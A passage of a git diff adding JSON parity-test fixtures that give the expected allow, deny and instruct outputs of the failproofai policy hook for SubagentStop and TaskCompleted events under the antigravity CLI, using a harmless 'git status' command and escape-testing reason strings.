{ + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a6de681d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5ce7b523 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e11fb8f6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..409a68e1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5fd23029 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7bca3505 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5cf2424f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8cc8f5c4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..29e5e5dc --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3b1e5a4e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a363b997 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a2dec07e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..116dbdb1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..149ae33c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9313ee2d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6faf9bd7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9d97899b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c6d93b40 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..bb413839 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + 